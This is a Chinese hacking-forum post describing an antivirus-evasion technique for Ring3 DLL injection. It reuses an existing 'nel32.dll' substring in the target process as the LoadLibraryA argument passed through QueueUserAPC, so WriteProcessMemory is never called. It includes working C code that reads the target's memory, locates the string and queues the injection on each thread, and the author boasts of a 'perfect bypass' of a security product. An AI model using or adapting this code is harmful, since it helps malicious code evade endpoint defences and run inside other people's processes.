繞過主動(dòng)防御的代碼注入
繞過主動(dòng)防御的代碼注入
目前大多數(shù)的殺軟都是hook NtWriteVirtualMemory和NtUserSetWindowsHookAW、NtUserSetWindowsHookE來防止代碼注入。
關(guān)于代碼注入Ring3層的方法主要有:
l 遠(yuǎn)程線程CreateRemoteThread
l 消息鉤子SetWindowsHookEx
l Ring3 APC QueueUserApc
l 修改線程上下文SetContextThread
其中第一種和第三種方法需要傳入一個(gè)param,但是要求這個(gè)param必須在目標(biāo)進(jìn)程內(nèi)存空間,之前的一些方法比較笨重,直接在目標(biāo)進(jìn)程VirtualAllocEx內(nèi)存,然后把希望的參數(shù)內(nèi)容寫入這個(gè)內(nèi)存,使用了WriteProcessMemory函數(shù),而這個(gè)函數(shù)是被hook的,所以殺軟可以很容易的攔截代碼注入行為。
仔細(xì)想想,殺軟的這種防御是很失敗的!原因是為了要一個(gè)param,攻擊者完全沒有必要做這么大的動(dòng)作去目標(biāo)進(jìn)程內(nèi)存空間申請(qǐng)內(nèi)存并寫內(nèi)存,我在思考是否可以不用WriteProcessMemory函數(shù)呢?反正我的目的就是得到一個(gè)合理的param,并且這個(gè)param是在目標(biāo)進(jìn)程內(nèi)存空間即可!
思考后,原來一切是這么容易啊,哈哈!樂了我半天~~~
舉個(gè)例子:假設(shè)我是這樣注入的:
QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ;
我想讓上面的param的內(nèi)容是一個(gè)“xxx.dll”,就可以了,而且要求這個(gè)param是在目標(biāo)進(jìn)程內(nèi)存空間
您想到了么?哈哈
答案:直接在目標(biāo)進(jìn)程搜索一個(gè)這樣的字符串“nel32.dll”就可以啦!因?yàn)椤発ernel32.dll” 這樣的字符串是一定存在的,那么為了和“kernel32.dll” 不一樣,那就隨便使用一下“nel32.dll”,或者“el32.dll”,都是可以的啊!最后在往windows目錄下面撂進(jìn)入一個(gè)nel32.dll,這樣注入大部分殺軟都是不能攔截到的!哈哈!
寫了段程序,做了個(gè)試驗(yàn),僅測(cè)試了下趨勢(shì),完美繞過!其實(shí)殺軟稍后測(cè)試。。。
DWORD EnumThreadandInjectDll(char *processName,HANDLE hProcess, DWORD dwProcessID,TIDLIST *pThreadIdList)
{
TIDLIST *pCurrentTid = pThreadIdList ;
const char szInjectModName[] = "nel32.dll";
DWORD dwLen = strlen(szInjectModName) ;
//////////////////////////////////////////////////////////////////////////
//不寫目標(biāo)進(jìn)程的內(nèi)存
//直接在目標(biāo)進(jìn)程中搜索出 nel32.dll 這樣的字符串 并注入
//////////////////////////////////////////////////////////////////////////
int bufflen=30000;
char *buffer=(char *)malloc(sizeof(char)*bufflen);
DWORD dwNumberOfBytesRead;
DWORD defaultAddress;
//獲得該進(jìn)程的基址
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessID) ;
if(!hSnapshot)
{
?? printf("CreateToolhelp32Snapshot error!\n");
?? return 0;
}
MODULEENTRY32 me = { sizeof(me) };
???? BOOL fOk =Module32First(hSnapshot,&me);
if(!fOk)
{
?? printf("Module32First error!\n");
?? return 0;
}
???? for (; fOk; fOk = Module32Next(hSnapshot,&me))
???? {
?? printf("%s process module name = %s\n",processName,me.szModule);
???????? // 取得進(jìn)程模塊基址
?? if(stricmp(me.szModule,processName)==0)
?? {
???? defaultAddress=(DWORD)me.modBaseAddr;
???? printf("%s process module base = 0x%08X\n",processName,defaultAddress);
???? break;
?? }
???? }
//搜索
if(!ReadProcessMemory(hProcess,(LPCVOID)defaultAddress,buffer,bufflen,&dwNumberOfBytesRead))
{
?? printf("ReadProcessMemory error!\n");
?? return 0;
}
for(int i=0;i<bufflen-dwLen;i++)
{
?? if(strnicmp(buffer+i,szInjectModName,dwLen)==0)
?? {
???? printf("found nel32.dll already!... %s\n",buffer+i);
???? while (pCurrentTid)
???? {
???? HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pCurrentTid->dwTid) ;
???
???? if (hThread != NULL)
???? {
?????? //
?????? // 注入DLL到指定進(jìn)程
?????? //
?????? QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)(defaultAddress+i)) ;
???? }
???
???? printf("TID:%d\n", pCurrentTid->dwTid) ;
???? pCurrentTid = pCurrentTid->pNext ;
???? }
???? break;
?? }
}
return 0 ;
}
標(biāo)題:繞過主動(dòng)防御的代碼注入 文章來自【獵鷹基地-全國最大的網(wǎng)絡(luò)安全技術(shù)論壇】 地址:http://www.lyhacker.cn/bbs,原文地址:http://www.lyhacker.cn/bbs/read-htm-tid-2114.html